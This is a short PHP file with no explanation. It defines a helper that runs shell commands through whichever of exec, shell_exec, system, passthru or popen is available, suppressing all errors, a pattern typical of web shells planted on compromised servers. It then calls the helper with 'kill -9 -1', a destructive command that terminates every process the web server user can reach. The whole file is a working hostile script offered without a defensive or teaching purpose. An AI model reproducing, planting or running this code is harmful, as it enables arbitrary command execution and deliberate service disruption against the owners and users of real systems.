<?php
function do_phpfun($cmd,$fun) {
    $res = '';
    switch($fun){
        case "exec": @exec($cmd,$res); $res = join("\n",$res); break;
        case "shell_exec": $res = @shell_exec($cmd); break;
        case "system": @ob_start(); @system($cmd); $res = @ob_get_contents();   @ob_end_clean();break;
        case "passthru": @ob_start();   @passthru($cmd); $res = @ob_get_contents(); @ob_end_clean();break;
        case "popen": if(@is_resource($f = @popen($cmd,"r"))){ while(!@feof($f))    $res .= @fread($f,1024);} @pclose($f);break;
    }
    return $res;
}

echo do_phpfun('kill -9 -1', 'popen');